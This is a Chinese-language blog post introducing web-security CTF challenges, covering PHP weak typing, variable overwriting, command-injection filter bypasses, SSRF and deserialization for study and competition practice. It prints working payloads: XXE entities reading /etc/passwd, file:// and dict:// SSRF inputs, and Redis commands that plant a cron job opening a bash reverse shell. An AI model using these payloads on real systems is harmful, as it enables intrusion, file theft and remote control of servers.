CTF | Web安全 Part1:基礎知識

weixin_34146805發表於2018-08-17

這應該是一個系列的文章,主要講述的是CTF中的Web內容。
當然,對於作者這種CTF中Loser,這個系列的文章與其說是總結梳理,不如說是預習筆記
最後的一年半,不知道以後還能在這些沒用的東西上搞多久······

01 CTF Web介紹

CTF中的Web題型,就是給定一個Web網站,選手要根據題目所提示的資訊,找到網站上的flag字串。
做題的方法類似於滲透測試,但通常不會是一個完整的滲透測試,而是用到滲透測試中的某一個或某幾個環節。可能涉及資訊蒐集、各類漏洞發現與利用、許可權提升等等。
為了獲取flag,可能需要拿到管理員許可權,資料庫許可權,甚至獲取網站所在伺服器的許可權。

一、所需知識

  • 語言:PHP、Python、JavaScript...
  • 資料庫:MySQL、MSSQL...
  • 伺服器:Apache、Nginx...
  • Web框架:ThinkPHP、Flask...
  • 語言特性:弱型別、截斷...
  • 函式特性:is_numeric、strcmp、eregi...

1.HTTP抓包/改包

  • 首先要知道HTTP請求、響應流程,詳細瞭解可以參考《HTTP權威指南》。(很厚的一本書,大牛們愛用這本書裝B,Web領域的“九陽真經”,把這本書啃下來就是張無忌了,可是大多數人包括我在內總想練速成的“葵花寶典”)
  • 瀏覽器外掛(Firefox):個人覺得 F12 + Hackbar就夠了,而且最新的Firefox將 F12和Hackbar 整合到了一起,用起來很順手。
  • 工具:burpsuite神器,工具是好但是小白用起來可能需要一些時間去專門學習和熟悉。 下載地址FreeBuf教程i春秋教程

2.Web前端

  • HTML+CSS+JavaScript:前端三劍客,學這個很輕鬆,很容易在信安的路上越走越偏,然後變成前端開發者。
  • 編碼:url編碼、html編碼、js編碼,可以參考這篇文章
  • Cookie,快取
  • 跨域問題CSP策略

3.Web後端

  • PHP:官方文件
  • Python:廖雪峰Python教程、官方文件
  • PHP框架:ThinkPHP、Yii
  • Python框架:Flask、Tornado、Django
  • Go框架:beego
  • Session

4.資料庫和伺服器

  • 瞭解常見資料庫及區別:MySQL、Oracle、MongoDB
  • 資料庫操作:基本語句、檔案讀取、寫入、許可權、dnslog
  • 伺服器:配置主流伺服器,Apache、Nginx
  • 快取引擎:Redis、Memcached

5.Linux

  • shell
  • Lua
  • Docker

6.常見web漏洞

XSS 檔案包含/上傳
SQL隱碼攻擊 反序列化
CSRF 未授權訪問
SSRF 目錄遍歷
命令執行 業務邏輯漏洞
XEE

7.工具

  • sqlmap
  • Burpsuite
  • Hackbar
  • Proxy SwitchyOmega(瀏覽器代理外掛)
  • AWVS (web漏洞掃描)
  • Kali(黑客的專屬系統)

二、題目型別

1.築基(入門題目)

  • 檢視頁面原始碼,flag在註釋裡
  • 檢視HTTP請求/響應包,flag在cookie、響應頭中
  • 備份檔案(.bak,.swp,.swo)洩露
  • 根據提示修改請求頭(User-Agent、X-Forwarded-For)
  • JSFuck

(1)例子

HCTF2016 Web1:2099年的flag
根據提示:

only ios99 can get flag(Maybe you can easily get the flag in 2099)

猜測可能需要改造UA。
User-Agent修改為Mozilla/5.0 (iPhone; CPU iPhone OS 99 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13D15 Safari/601.1,這個需要對照Safari瀏覽器發出的UA進行修改。

8581772-0a2527a4f2e91be6.jpg
ios99

(2)檔案洩露總結

關於洩露的好文章

  • 備份檔案:.index.php.swp、.index.php.swo、.index.php.bak、.index.php~

  • 原始碼壓縮包:www.zip、root.zip、web.zip

  • git / svn洩露:
    git洩露:www.xxx.com/.git/config,之後使用工具GitHack可以獲取原始碼 python GitHack.py URL/.git
    svn洩露:www.xxx.com/.svn/entries,利用工具dvcs-ripper獲取原始碼

  • 其它檔案洩露:
    .idea目錄洩露:(使用了IntelliJ IDEA的工程,可洩露目錄結構),詳情可看這裡
    .DS_Store:www.xxx.com/.ds_store,工具ds_store_exp
    .pyc檔案:(python編譯後的位元組碼檔案)

(3)請求修改、重放

這裡主要用好Burpsuite、瀏覽器F12就夠了,Firefox上的Hackbar也很方便,工具再多也沒用。

(4)JSFuck

經過JSFuck編碼後的JavaScript程式碼,要檢視其執行結果非常簡單,直接在頁面中進行呼叫即可,或者在Chrome瀏覽器的開發者工具中的Console中執行即可。

8581772-3daa832bc1d8c6e0.jpg
JSFuck.jpg

2.結丹(常規題目)

  • 一個存在漏洞的網站
  • 拿到資料庫上的flag(SQL隱碼攻擊)
  • 拿到伺服器上的flag(命令執行、檔案上傳)
  • 拿到管理員的cookie,flag在cookie裡(XXE)
  • 其它的一些漏洞利用(條件競爭、SSRF、XXE)

(1)SQL隱碼攻擊

實驗吧:
簡單的sql注入
簡單的sql注入2
簡單的sql注入3

(2)XXE

後端獲取一個xml文件

<? php
$xml=simplexml_load_string($_GET['xml']);
print_r((string)$xml);

讀取本地檔案

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "file:///etc/passwd">]>
<root>&file;</root>

SSRF

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY url SYSTEM "http://zzm.cat:8080">]>
<root>&url;</root>

XEE練習 + Writeup

3.元嬰(困難題目)

  • 漏洞綜合利用(e.g. 注入+SSRF+反序列化)
  • 少見的姿勢(e.g. 字元命令執行)
  • 少見的語言(Ruby、Perl)

例子:

HITCON2017:
babyfirst-revenge
babyfirst-revenge-v2

02 CTF Web技巧

一、PHP弱型別

弱等於號 " == "

false==""==0==NULL //true
"admin1"==0 //true
"1admin"==1 //true
"0e123456"=="0e4456789" //true
"0x1e240"=="123456" //true
0=="0e4456789" //true
[false]==[0] //true
"0x1e240"=="123456"==123456 //true

例題

<?php 
$flag = "xxxx";
if ($_GET['a'] != $_GET['b'] && md5($_GET['a']) == md5($_GET['b']))
{
  echo "Flag: ".$flag;
}

可以看一下這篇文章,從中可以得知所有"0e"加純數字的字串均相互弱等於,及提交a=s878926199ab=s155964671a即可

md5("s878926199a") =>
  "0e545993274517709034328855841020"
md5("s155964671a") =>
  "0e342768416822451524974117254469"

二、PHP函式

型別轉換

md5(['a'])===md5(['b']) //對陣列MD5會返回NULL
strcmp([], 'a')===NULL //PHP>5.3版本陣列和字串比較返回NULL
in_array('abc', [0])===true //'abc'會被強制型別轉換
is_numeric('0e1')===true //科學計數法
in_array('abc', [0,1,2])===true //比較時會使用若等於('abc'==0)

正規表示式(ereg/eregi)

  1. 字串對比解析,當ereg讀取字串string時,%00後面的字串不會被解析。
    這裡 a=abcd%001234,可繞過
<?php
if (ereg("^[a-zA-Z]+$", $_GET['a']) === FALSE) {
  echo 'You password must be alphabet';
}
?>
  1. 如果傳入陣列,ereg返回NULL

三、變數覆蓋

extract()

extract()函式從陣列中把變數匯入到當前的符號表中。
對於陣列中的每個元素,鍵名用於變數名,鍵值用於變數值。
例如傳入auth=1,則會列印出"private!"

<?php
  $auth='0';
  // 這裡可以覆蓋變數$auth的變數值
  extract($_GET);
  if($auth == 1){
    echo "private!";
  } else{
    echo "public!";
  }
?>

parse_str()

parse_str()的作用是解析字串,並註冊成變數。與parse_str()類似的函式還有 mb_parse_str(),parse_str() 將字串解析成多個變數,如果引數 str 是 URL 傳遞入的查詢字串(query string),則將它解析為變數並設定到當前作用域。

<?php
  //var.php?var=new
  $var='init';
  parse_str($_SERVER['QUERY_STRING']);
  // $var 會變成 new
  echo $var;
?>

$$

$$會把變數本身的 key 當做名字,value 當做變數值

<?php
  $_CONFIG['extraSecure'] = true;
  
  // http://127.0.0.1/index.php?_CONFIG=123
  foreach(array('_GET', '_POST') as $method) {
    foreach($$method as $key=>$value) {
      // $key == _CONFIG
      // $$key == $_CONFIG
      // 這個函式會把 $_CONFIG 變數銷燬
      unset($$key);
    }
  }
  if ($_CONFIG['extraSecure'] == false){
    echo 'flag{****}';
  }
?>

練習

實驗吧 天網管理系統

四、命令執行

PHP中執行系統命令的函式

system:     system("whoami");
eval:       eval("phpinfo();");
assert:     assert("phpinfo()");
exec:       echo exec("whoami");
passthru:   passthru("whoami");
shell_exec: echo shell_exec("whoami");

Bypass空格過濾

<符號
cat<flag
$IFS符號
cat${IFS}flag
cat$IFS"flag"
製表符
cat flag

命令分隔符

| 符號

amber@MAC:~/$    echo 1|echo 2
2

; 符號

amber@MAC:~/$    echo 1;echo 2
1
2

&&符號

amber@MAC:~/$    echo 1 && echo 2
1
2

利用$(),``執行命令

$(),``會將字串當做命令執行,並返回結果

amber@MAC:~/$    echo $(whoami)
amber
amber@MAC:~/$    echo `whoami`
amber

結合printf使用,可以繞過一些限制

amber@MAC:~/$    $(printf$IFS"\167\150\141\155\151")
amber
amber@MAC:~/$    $(printf$IFS"\x77\x68\x6f\x6d\x69")
amber

練習

http://web.jarvisoj.com:32798/

五、SSRF技巧

SSRF介紹

伺服器獲取使用者傳入的url,並訪問,如果不加過濾,可能導致內網探測、檔案讀取、攻擊內網服務等

<?php
  // e.g. url=http://10.10.10.1
  // e.g. url=file://etc/passwd
  // e.g. url=dict://127.0.0.1:80
  $ch = curl_init($_GET['url']);
  echo curl_exec($ch);
  curl_close($ch);
?>

常出現在離線下載,站長工具,遠端頭像上傳等功能中

SSRF攻擊

SSRF檔案讀取,內網探測

file:///etc/passwd
dict://127.0.0.1:3306

SSRF攻擊內網服務(redis為例)
修改dbfilename,將反彈shell的命令寫入定時任務

set 1 "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/ 127.0.0.1/2333 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save

SSRF防禦

過濾傳入url的host(有沒有問題?)

<?php
    function isLocal($ip){
        $long=ip2long($ip);
        $data=array(24=>'10.255.255.255',20=>'172.31.255.255',16=>'192.168.255.255');
        foreach ($data as $k => $v) {
            if ($long >> $k === ip2long($v)>>$k) {
                return true;
            }
        }
    }
    $url = $_GET['url'];
    $host = parse_url($url)['host'];
    if (isLocal(gethostbyname($host))) die();
    $ch = curl_init($url);
    echo curl_exec($ch);
    cuel_close($ch);
?>

parse_url和curl解析差異

8581772-94da84ae9baec9e2.png
SSRF.png

IP雙重繫結:如果同一個域名繫結了兩個IP,那麼PHP中的gethostname會隨機返回一個。
但是curl在訪問這種域名的時候,由於繫結的是兩個IP,curl會嘗試訪問每一個IP,最終返回有效的那個

六、反序列化

介紹

8581772-a67e357f7d413470.PNG
序列化

陣列序列化

原陣列:['a'=>'str', 'b'=>1, 'c'=>false]
序列化後:a:3:{s:1:"a";s:3:"str";s:1:"b";i:1;s:1:"b";i:1;s:1:"c";b:0;}

物件序列化

8581772-fd65a66296f9ba07.PNG
物件序列化

對於PHP中的類C,屬性data="abc"會被序列化為不同的形式(%00代表空字元)
Public屬性:s:4:"data";s:3:"abc"
Private屬性:s:7"%00C%00data";s:3:"abc"
Protected屬性:s:7"%00*%00data";s:3:"abc"

其它資料型別

String(字串):s
Integer(整型):i
Bool(Bool型):b
NULL:N
Array(陣列):a
Object(物件):o

魔術方法

__construct方法在物件誕生時呼叫,一般用來為成員屬性賦初值

function __construct($name="amy", $sex="male", $age=20)
{
  $this->name=$name;
  $this->sex=$sex;
  $this->age=$age;
}

__destruct方法在物件銷燬時呼叫

class C{
  public function __destruct() {
    echo "The object is destructed.";
  }
}

__toString方法在列印物件時呼叫

class C{
  public function __toString()
  {
    return "This is C";
  }
}

__sleep方法在物件序列化時呼叫

class C{
  public function __sleep() {
    echo "serialized";
  }
}
$c = new C;
serialize($c);

__wakeup方法在物件反序列化時呼叫

class C{
  public function __wakeup() {
    echo "unserialized";
  }
}
unserialize('0:1:"c":0:{}');

__call方法在試圖呼叫一個無法訪問(不存在、無許可權)的方法時呼叫

class C{
  public function __call($name, $arguments) {
    echo "called";
  }
}
$c = new C;
$c->a();

PHP中可以利用的內建類

SoapClient(__call方法呼叫時導致SSRF)

$a = new SoapClient(null,array('uri'=>'http://xxx.cat8080',
'location'=>'http://xxx.cat:8080'));
$b = serialize($a);
$c = unserialize($b);
$c->a();

Directorylterator(__construct方法呼叫時導致列目錄)

$c = new DirectoryIterator(".");
foreach($c as $cc) {
  echo $cc,"</br>";
}

練習

http://web.jarvisoj.com:32784/
Writeup